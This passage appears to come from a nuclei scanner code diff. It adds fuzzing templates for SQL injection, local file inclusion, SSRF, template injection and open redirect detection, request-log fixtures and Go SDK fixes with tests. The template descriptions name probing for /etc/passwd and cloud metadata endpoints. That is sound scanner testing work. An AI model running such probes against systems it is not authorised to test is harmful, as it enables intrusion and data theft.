- part: header
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "X-Search"
|
||||
fuzz:
|
||||
- "{{seed}}"
|
||||
analyzer:
|
||||
name: sqli_error
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-host-header
|
||||
|
||||
info:
|
||||
name: Host Header Injection via analyzer
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: |
|
||||
Drives the built-in host_header_injection analyzer through the real fuzzing
|
||||
pipeline. The analyzer overrides Host / X-Forwarded-Host with a canary and
|
||||
confirms when it is reflected back in an absolute URL.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "x"
|
||||
analyzer:
|
||||
name: host_header_injection
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-lfi
|
||||
|
||||
info:
|
||||
name: Local File Inclusion via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the built-in lfi analyzer through the real fuzzing pipeline. The
|
||||
analyzer injects path-traversal payloads and confirms a finding when known
|
||||
file-content signatures (e.g. /etc/passwd, win.ini) appear.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "home.txt"
|
||||
analyzer:
|
||||
name: lfi
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-open-redirect
|
||||
|
||||
info:
|
||||
name: Open Redirect via analyzer
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: |
|
||||
Drives the built-in open_redirect analyzer through the real fuzzing
|
||||
pipeline. The analyzer injects an unresolvable canary host and confirms when
|
||||
the application redirects to it via the Location header or final URL.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "/dashboard"
|
||||
analyzer:
|
||||
name: open_redirect
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,33 @@
|
||||
id: analyzer-path-sqli
|
||||
|
||||
info:
|
||||
name: Path-position error-based SQLi via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the sqli_error analyzer while fuzzing a numeric PATH segment, proving
|
||||
the analyzer works on the path component through the real pipeline.
|
||||
|
||||
http:
|
||||
- pre-condition:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'method == "GET"'
|
||||
condition: and
|
||||
|
||||
payloads:
|
||||
seed:
|
||||
- "1"
|
||||
|
||||
fuzzing:
|
||||
- part: path
|
||||
type: replace
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{seed}}"
|
||||
analyzer:
|
||||
name: sqli_error
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-sqli
|
||||
|
||||
info:
|
||||
name: Error-based SQLi via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the built-in sqli_error analyzer through the real fuzzing pipeline.
|
||||
The analyzer injects syntax-breaking tokens and fingerprints DBMS errors; a
|
||||
finding is raised only when the analyzer confirms the injection.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "1337"
|
||||
analyzer:
|
||||
name: sqli_error
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-ssrf
|
||||
|
||||
info:
|
||||
name: Server-Side Request Forgery via analyzer
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: |
|
||||
Drives the built-in ssrf analyzer through the real fuzzing pipeline. The
|
||||
analyzer points the parameter at cloud metadata endpoints and confirms when
|
||||
metadata signatures are reflected in-band.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "https://example.com/a.png"
|
||||
analyzer:
|
||||
name: ssrf
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: analyzer-ssti
|
||||
|
||||
info:
|
||||
name: Server-Side Template Injection via analyzer
|
||||
author: pdteam
|
||||
severity: critical
|
||||
description: |
|
||||
Drives the built-in ssti analyzer through the real fuzzing pipeline. The
|
||||
analyzer injects an arithmetic oracle in multiple template syntaxes and only
|
||||
reports when the engine evaluates the expression.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "q"
|
||||
fuzz:
|
||||
- "1337"
|
||||
analyzer:
|
||||
name: ssti
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "analyzer == true"
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
timestamp: 2024-02-20T19:24:13+05:30
|
||||
url: http://127.0.0.1:8082/analyzer/path/sqli/75
|
||||
request:
|
||||
raw: |+
|
||||
GET /analyzer/path/sqli/75 HTTP/1.1
|
||||
Host: 127.0.0.1:8082
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
User-Agent: nuclei-fuzz
|
||||
|
||||
response:
|
||||
raw: |+
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
Connection: close
|
||||
|
||||
---
|
||||
timestamp: 2024-02-20T19:24:13+05:30
|
||||
url: http://127.0.0.1:8082/analyzer/header/sqli
|
||||
request:
|
||||
raw: |+
|
||||
GET /analyzer/header/sqli HTTP/1.1
|
||||
Host: 127.0.0.1:8082
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
X-Search: en
|
||||
User-Agent: nuclei-fuzz
|
||||
|
||||
response:
|
||||
raw: |+
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
Connection: close
|
||||
|
||||
---
|
||||
timestamp: 2024-02-20T19:24:13+05:30
|
||||
url: http://127.0.0.1:8082/analyzer/body/sqli
|
||||
request:
|
||||
raw: |+
|
||||
POST /analyzer/body/sqli HTTP/1.1
|
||||
Host: 127.0.0.1:8082
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 13
|
||||
User-Agent: nuclei-fuzz
|
||||
|
||||
{"name":"en"}
|
||||
|
||||
response:
|
||||
raw: |+
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
Connection: close
|
||||
|
||||
---
|
||||
timestamp: 2024-02-20T19:24:13+05:30
|
||||
url: http://127.0.0.1:8082/analyzer/cookie/ssti
|
||||
request:
|
||||
raw: |+
|
||||
GET /analyzer/cookie/ssti HTTP/1.1
|
||||
Host: 127.0.0.1:8082
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
Cookie: lang=en
|
||||
User-Agent: nuclei-fuzz
|
||||
|
||||
response:
|
||||
raw: |+
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Connection: close
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
id: target-line-ip-pipeline
|
||||
|
||||
info:
|
||||
name: Target Line IP Pipeline
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 1
|
||||
pipeline-requests-per-connection: 1
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "host=pinned.test:"
|
||||
extractors:
|
||||
- type: regex
|
||||
group: 1
|
||||
regex:
|
||||
- "server=([a-z]+)"
|
||||
@@ -0,0 +1,20 @@
|
||||
id: target-line-ip
|
||||
|
||||
info:
|
||||
name: Target Line IP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "host=pinned.test:"
|
||||
extractors:
|
||||
- type: regex
|
||||
group: 1
|
||||
regex:
|
||||
- "server=([a-z]+)"
|
||||
@@ -0,0 +1,25 @@
|
||||
id: javascript-target-line-ip
|
||||
|
||||
info:
|
||||
name: JavaScript Target Line IP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
var m = require("nuclei/net");
|
||||
var conn = m.Open("tcp", address);
|
||||
conn.SetTimeout(timeout);
|
||||
conn.RecvString(3)
|
||||
|
||||
args:
|
||||
address: "{{Host}}:{{Port}}"
|
||||
Host: "{{Host}}"
|
||||
Port: 5431
|
||||
timeout: 3
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- "[a-z]+"
|
||||
@@ -0,0 +1,71 @@
|
||||
package nuclei_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
nuclei "github.com/projectdiscovery/nuclei/v3/lib"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestThreadSafeCachedFlowPreservesPrecondition(t *testing.T) {
|
||||
for _, positive := range []bool{false, true} {
|
||||
name := "negative"
|
||||
if positive {
|
||||
name = "positive"
|
||||
}
|
||||
t.Run(name, func(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "flow.yaml")
|
||||
require.NoError(t, os.WriteFile(path, []byte(`id: cached-flow
|
||||
info:
|
||||
name: Cached flow
|
||||
author: pdteam
|
||||
severity: info
|
||||
flow: http(1) && http(2)
|
||||
http:
|
||||
- method: GET
|
||||
path: ["{{BaseURL}}/precondition"]
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
internal: true
|
||||
- method: GET
|
||||
path: ["{{BaseURL}}/check"]
|
||||
matchers:
|
||||
- type: status
|
||||
status: [404]
|
||||
`), 0o600))
|
||||
var checks, findings atomic.Int64
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/check" {
|
||||
checks.Add(1)
|
||||
}
|
||||
if positive && r.URL.Path == "/precondition" {
|
||||
w.WriteHeader(200)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
}))
|
||||
defer server.Close()
|
||||
engine, err := nuclei.NewThreadSafeNucleiEngineCtx(context.Background(), nuclei.DisableUpdateCheck())
|
||||
require.NoError(t, err)
|
||||
defer engine.Close()
|
||||
engine.GlobalResultCallback(func(*output.ResultEvent) { findings.Add(1) })
|
||||
for call := int64(1); call <= 3; call++ {
|
||||
require.NoError(t, engine.ExecuteNucleiWithOptsCtx(context.Background(), []string{server.URL}, nuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{Templates: []string{path}})))
|
||||
expected := int64(0)
|
||||
if positive {
|
||||
expected = call
|
||||
}
|
||||
require.Equal(t, expected, checks.Load(), "check requests after call %d", call)
|
||||
require.Equal(t, expected, findings.Load(), "findings after call %d", call)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -367,7 +367,9 @@ func UseOutputWriter(writer OutputWriter) NucleiSDKOptions {
|
||||
}
|
||||
}
|
||||
|
||||
// StatsWriter
|
||||
// StatsWriter receives scan statistics. A writer that also implements
|
||||
// progress.TaskTracker is told how many template executions the scan runs
|
||||
// and how many are done.
|
||||
type StatsWriter progress.Progress
|
||||
|
||||
// UseStatsWriter allows setting a custom stats writer
|
||||
|
||||
+61
-1
@@ -8,9 +8,15 @@ import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// Update checks are disabled explicitly so this pins corrupt-file rejection on
|
||||
// its own. The ignore file is read after init's update block, which may replace
|
||||
// a corrupt file via UpdateIgnoreFile — with update checks left on, this test
|
||||
// would assert rejection or repair depending on whether the process could reach
|
||||
// the network.
|
||||
func TestNewNucleiEngineRejectsCorruptActiveIgnoreFile(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
path := filepath.Join(root, config.NucleiIgnoreFileName)
|
||||
@@ -21,8 +27,62 @@ func TestNewNucleiEngineRejectsCorruptActiveIgnoreFile(t *testing.T) {
|
||||
t.Cleanup(func() { cfg.SetTemplatesDir(oldRoot) })
|
||||
cfg.SetTemplatesDir(root)
|
||||
|
||||
engine, err := NewNucleiEngineCtx(context.Background())
|
||||
engine, err := NewNucleiEngineCtx(context.Background(), DisableUpdateCheck())
|
||||
require.Nil(t, engine)
|
||||
require.ErrorContains(t, err, "error parsing")
|
||||
require.ErrorContains(t, err, strconv.Quote(path))
|
||||
}
|
||||
|
||||
// TestIgnoreFileSurvivesAuthTemplateStore pins two init orderings.
|
||||
//
|
||||
// The ignore file is read after the update block, so a file this same call
|
||||
// creates is the one that becomes the deny-list. GetAuthTmplStore also runs
|
||||
// during init whenever SecretsFile is set. It must scope a copy of the
|
||||
// options: the caller's Templates and ExcludeTags stay put, and the ignore
|
||||
// file is still applied on top.
|
||||
//
|
||||
// A static-only secrets file is enough to build that store.
|
||||
func TestIgnoreFileSurvivesAuthTemplateStore(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
require.NoError(t, os.WriteFile(
|
||||
filepath.Join(root, config.NucleiIgnoreFileName),
|
||||
[]byte("tags:\n - dos\nfiles:\n - dns/soa-detect.yaml\n"),
|
||||
0o600,
|
||||
))
|
||||
|
||||
cfg := config.DefaultConfig
|
||||
oldRoot := cfg.TemplatesDirectory
|
||||
t.Cleanup(func() { cfg.SetTemplatesDir(oldRoot) })
|
||||
cfg.SetTemplatesDir(root)
|
||||
|
||||
secrets := filepath.Join(root, "secrets.yaml")
|
||||
require.NoError(t, os.WriteFile(secrets, []byte(`static:
|
||||
- type: header
|
||||
domains:
|
||||
- example.com
|
||||
headers:
|
||||
- key: x-api-key
|
||||
value: not-a-real-secret
|
||||
`), 0o600))
|
||||
|
||||
opts := types.DefaultOptions()
|
||||
opts.SecretsFile = []string{secrets}
|
||||
opts.Templates = []string{"http/kept.yaml"}
|
||||
opts.ExcludeTags = []string{"custom"}
|
||||
|
||||
engine, err := NewNucleiEngineCtx(context.Background(),
|
||||
WithOptions(opts),
|
||||
DisableUpdateCheck(),
|
||||
)
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(engine.Close)
|
||||
|
||||
require.Equal(t, []string{"http/kept.yaml"}, []string(engine.Options().Templates),
|
||||
"the auth store must not replace the caller's template list")
|
||||
require.Contains(t, []string(engine.Options().ExcludeTags), "custom",
|
||||
"the caller's own excluded tags must survive auth-store setup")
|
||||
require.Contains(t, []string(engine.Options().ExcludeTags), "dos",
|
||||
"the .nuclei-ignore deny-list must be applied after auth-store setup")
|
||||
require.Contains(t, []string(engine.Options().ExcludedTemplates), "dns/soa-detect.yaml",
|
||||
"the files section must be applied too")
|
||||
}
|
||||
+1
-5
@@ -44,11 +44,7 @@ func createEphemeralObjects(ctx context.Context, base *NucleiEngine, opts *types
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
Parser: base.parser,
|
||||
Browser: base.browserInstance,
|
||||
// Thread-safe executes can run concurrently with different Output writers.
|
||||
// The compiled-template cache shallow-copies requests and mutates shared
|
||||
// ExecutorOptions.Output via UpdateOptions/ApplyNewEngineOptions, which
|
||||
// would otherwise route all findings to whichever call last won the race.
|
||||
DoNotCache: true,
|
||||
DoNotCache: opts.DoNotCacheTemplates,
|
||||
}
|
||||
if base.interactshClient != nil {
|
||||
u.executerOpts.InteractshScope = base.interactshClient.NewRequestScope()
|
||||
|
||||
@@ -2,10 +2,14 @@ package nuclei
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
@@ -68,3 +72,87 @@ http:
|
||||
require.NotNil(t, cached)
|
||||
}
|
||||
}
|
||||
|
||||
func TestThreadSafeExecuteUsesSharedCompiledCache(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "template.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(`id: thread-safe-shared-cache
|
||||
|
||||
info:
|
||||
name: Thread safe shared cache
|
||||
author: pdteam
|
||||
severity: info
|
||||
tags: thread-safe-shared-cache
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "thread-safe-shared-cache"
|
||||
`), 0o600))
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte("thread-safe-shared-cache"))
|
||||
}))
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
engine, err := NewThreadSafeNucleiEngineCtx(context.Background())
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(engine.Close)
|
||||
|
||||
const executions = 4
|
||||
var waitGroup sync.WaitGroup
|
||||
errors := make([]error, executions)
|
||||
for i := range executions {
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
errors[i] = engine.ExecuteNucleiWithOptsCtx(context.Background(), []string{server.URL},
|
||||
WithTemplatesOrWorkflows(TemplateSources{Templates: []string{templatePath}}),
|
||||
WithTemplateFilters(TemplateFilters{Tags: []string{"thread-safe-shared-cache"}}),
|
||||
WithResultCallback(func(*output.ResultEvent) {}),
|
||||
)
|
||||
}()
|
||||
}
|
||||
waitGroup.Wait()
|
||||
|
||||
for _, err := range errors {
|
||||
require.NoError(t, err)
|
||||
}
|
||||
require.Equal(t, 1, engine.eng.GetParser().CompiledCount())
|
||||
}
|
||||
|
||||
func TestThreadSafeExecuteHonorsDisableTemplateCache(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "template.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(`id: thread-safe-disable-cache
|
||||
|
||||
info:
|
||||
name: Thread safe disable cache
|
||||
author: pdteam
|
||||
severity: info
|
||||
tags: thread-safe-disable-cache
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`), 0o600))
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte("ok"))
|
||||
}))
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
engine, err := NewThreadSafeNucleiEngineCtx(context.Background(), DisableTemplateCache())
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(engine.Close)
|
||||
|
||||
err = engine.ExecuteNucleiWithOptsCtx(context.Background(), []string{server.URL},
|
||||
WithTemplatesOrWorkflows(TemplateSources{Templates: []string{templatePath}}),
|
||||
WithTemplateFilters(TemplateFilters{Tags: []string{"thread-safe-disable-cache"}}),
|
||||
)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, 0, engine.eng.GetParser().CompiledCount())
|
||||
}
|
||||
+16
-4
@@ -70,7 +70,7 @@ type NucleiEngine struct {
|
||||
|
||||
// unexported core fields
|
||||
ctx context.Context
|
||||
interactshClient *interactsh.Client
|
||||
interactshClient interactsh.IClient
|
||||
catalog catalog.Catalog
|
||||
rateLimiter *ratelimit.Limiter
|
||||
store *loader.Store
|
||||
@@ -151,6 +151,9 @@ func (e *NucleiEngine) GetTemplates() []*templates.Template {
|
||||
if !e.templatesLoaded {
|
||||
_ = e.LoadAllTemplates()
|
||||
}
|
||||
if e.store == nil {
|
||||
return nil
|
||||
}
|
||||
return e.store.Templates()
|
||||
}
|
||||
|
||||
@@ -159,6 +162,9 @@ func (e *NucleiEngine) GetWorkflows() []*templates.Template {
|
||||
if !e.templatesLoaded {
|
||||
_ = e.LoadAllTemplates()
|
||||
}
|
||||
if e.store == nil {
|
||||
return nil
|
||||
}
|
||||
return e.store.Workflows()
|
||||
}
|
||||
|
||||
@@ -251,7 +257,7 @@ func (e *NucleiEngine) closeInternal() {
|
||||
if e.hostErrCache != nil {
|
||||
e.hostErrCache.Close()
|
||||
}
|
||||
if e.executerOpts.RateLimiter != nil {
|
||||
if e.executerOpts != nil && e.executerOpts.RateLimiter != nil {
|
||||
e.executerOpts.RateLimiter.Stop()
|
||||
}
|
||||
if e.rateLimiter != nil {
|
||||
@@ -297,9 +303,11 @@ func (e *NucleiEngine) Close() {
|
||||
// enable matcher-status option if you expect this callback to be called for all results regardless if it matched or not
|
||||
func (e *NucleiEngine) ExecuteCallbackWithCtx(ctx context.Context, callback ...func(event *output.ResultEvent)) error {
|
||||
if !e.templatesLoaded {
|
||||
_ = e.LoadAllTemplates()
|
||||
if err := e.LoadAllTemplates(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(e.store.Templates()) == 0 && len(e.store.Workflows()) == 0 {
|
||||
if e.store == nil || (len(e.store.Templates()) == 0 && len(e.store.Workflows()) == 0) {
|
||||
return ErrNoTemplatesAvailable
|
||||
}
|
||||
if e.inputProvider.Count() == 0 {
|
||||
@@ -378,6 +386,10 @@ func NewNucleiEngineCtx(ctx context.Context, options ...NucleiSDKOptions) (*Nucl
|
||||
}
|
||||
}
|
||||
if err := e.init(ctx); err != nil {
|
||||
// init may already own interactsh, a browser, a temp dir, and
|
||||
// reporting. Close is safe on a partial engine: executerOpts is
|
||||
// checked, and protocolinit.Close is a no-op before Init.
|
||||
e.Close()
|
||||
return nil, err
|
||||
}
|
||||
return e, nil
|
||||
|
||||
+34
-8
@@ -44,6 +44,9 @@ import (
|
||||
func (e *NucleiEngine) applyRequiredDefaults(ctx context.Context) {
|
||||
mockoutput := testutils.NewMockOutputWriter(e.opts.OmitTemplate)
|
||||
mockoutput.WriteCallback = func(event *output.ResultEvent) {
|
||||
if (event.Error != "" || !event.MatcherStatus) && !e.opts.MatcherStatus {
|
||||
return
|
||||
}
|
||||
if len(e.resultCallbacks) > 0 {
|
||||
for _, callback := range e.resultCallbacks {
|
||||
if callback != nil {
|
||||
@@ -184,10 +187,6 @@ func (e *NucleiEngine) init(ctx context.Context) error {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := e.loadIgnoreFile(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if e.opts.Parser != nil {
|
||||
if op, ok := e.opts.Parser.(*templates.Parser); ok {
|
||||
e.parser = op
|
||||
@@ -211,7 +210,7 @@ func (e *NucleiEngine) init(ctx context.Context) error {
|
||||
_ = protocolinit.Init(e.opts)
|
||||
}
|
||||
|
||||
if e.opts.ProxyInternal && e.opts.AliveHttpProxy != "" || e.opts.AliveSocksProxy != "" {
|
||||
if e.opts.ProxyInternal && (e.opts.AliveHttpProxy != "" || e.opts.AliveSocksProxy != "") {
|
||||
httpclient, err := httpclientpool.Get(e.opts, &httpclientpool.Configuration{}, "")
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -382,6 +381,26 @@ func (e *NucleiEngine) init(ctx context.Context) error {
|
||||
}
|
||||
}
|
||||
|
||||
// Read .nuclei-ignore LAST, once init has finished managing that file and
|
||||
// the options it writes into.
|
||||
//
|
||||
// It must come after the update block above: init creates or replaces the
|
||||
// ignore file there (UpdateIgnoreFile), so reading earlier reads a file this
|
||||
// same call is about to write. On a host without a pre-existing ignore file
|
||||
// — a fresh install, or any container whose filesystem was reset — the read
|
||||
// found nothing, warned, and left the engine with an empty deny-list for its
|
||||
// whole lifetime, because ExcludeTags is never re-read after init. Reading
|
||||
// afterwards also makes the corrupt-file check recoverable rather than fatal:
|
||||
// a malformed local file that IgnoreFileNeedsUpdate replaces no longer fails
|
||||
// the scan.
|
||||
//
|
||||
// GetAuthTmplStore scopes a copy of the options, so it no longer clears
|
||||
// the engine filters. This read is still what installs the deny-list, and
|
||||
// it has to follow the update block above.
|
||||
if err := e.loadIgnoreFile(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -389,7 +408,10 @@ type syncOnce struct {
|
||||
sync.Once
|
||||
}
|
||||
|
||||
var updateCheckInstance = &syncOnce{}
|
||||
var (
|
||||
updateCheckInstance = &syncOnce{}
|
||||
templateUpdateInstance = &syncOnce{}
|
||||
)
|
||||
|
||||
// processUpdateCheckResults processes update check results
|
||||
func (e *NucleiEngine) processUpdateCheckResults() error {
|
||||
@@ -398,8 +420,12 @@ func (e *NucleiEngine) processUpdateCheckResults() error {
|
||||
if e.onUpdateAvailableCallback != nil {
|
||||
e.onUpdateAvailableCallback(config.DefaultConfig.LatestNucleiTemplatesVersion)
|
||||
}
|
||||
tm := installer.TemplateManager{}
|
||||
err = tm.UpdateIfOutdated()
|
||||
})
|
||||
if !e.disableTemplatesAutoUpgrade {
|
||||
templateUpdateInstance.Do(func() {
|
||||
tm := installer.TemplateManager{}
|
||||
err = tm.UpdateIfOutdated()
|
||||
})
|
||||
}
|
||||
return err
|
||||
}
|
||||
+172
@@ -2,13 +2,20 @@ package nuclei_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
nuclei "github.com/projectdiscovery/nuclei/v3/lib"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
@@ -155,3 +162,168 @@ func TestIgnoreFileFilesSectionIsApplied(t *testing.T) {
|
||||
require.Contains(t, ne.Options().ExcludedTemplates, "http/fuzzing/wordpress-themes-detect.yaml",
|
||||
"files section should reach ExcludedTemplates")
|
||||
}
|
||||
|
||||
func TestSDKCustomPortTemplateDoesNotPoisonBaseHost(t *testing.T) {
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "server-ok")
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
// Allocate and immediately close a TCP listener to obtain a guaranteed closed local port.
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
closedPort := ln.Addr().(*net.TCPAddr).Port
|
||||
require.NoError(t, ln.Close())
|
||||
|
||||
tplDir := t.TempDir()
|
||||
closedPortTpl := fmt.Sprintf(`id: closed-port-parallel-probe
|
||||
info:
|
||||
name: Closed Port Parallel Probe
|
||||
author: test
|
||||
severity: info
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "http://{{Hostname}}:%d/probe?p={{val}}"
|
||||
threads: 2
|
||||
payloads:
|
||||
val:
|
||||
- "1"
|
||||
- "2"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "never-matches"
|
||||
`, closedPort)
|
||||
healthyTpl := `id: healthy-base-target-match
|
||||
info:
|
||||
name: Healthy Base Target Match
|
||||
author: test
|
||||
severity: high
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "server-ok"
|
||||
`
|
||||
closedPortPath := filepath.Join(tplDir, "01-closed-port.yaml")
|
||||
healthyPath := filepath.Join(tplDir, "02-healthy.yaml")
|
||||
require.NoError(t, os.WriteFile(closedPortPath, []byte(closedPortTpl), 0o600))
|
||||
require.NoError(t, os.WriteFile(healthyPath, []byte(healthyTpl), 0o600))
|
||||
|
||||
for run := 1; run <= 3; run++ {
|
||||
ne, err := nuclei.NewNucleiEngineCtx(
|
||||
context.Background(),
|
||||
nuclei.DisableUpdateCheck(),
|
||||
nuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{
|
||||
Templates: []string{closedPortPath, healthyPath},
|
||||
}),
|
||||
nuclei.WithConcurrency(nuclei.Concurrency{
|
||||
TemplateConcurrency: 1,
|
||||
HostConcurrency: 1,
|
||||
HeadlessHostConcurrency: 1,
|
||||
HeadlessTemplateConcurrency: 1,
|
||||
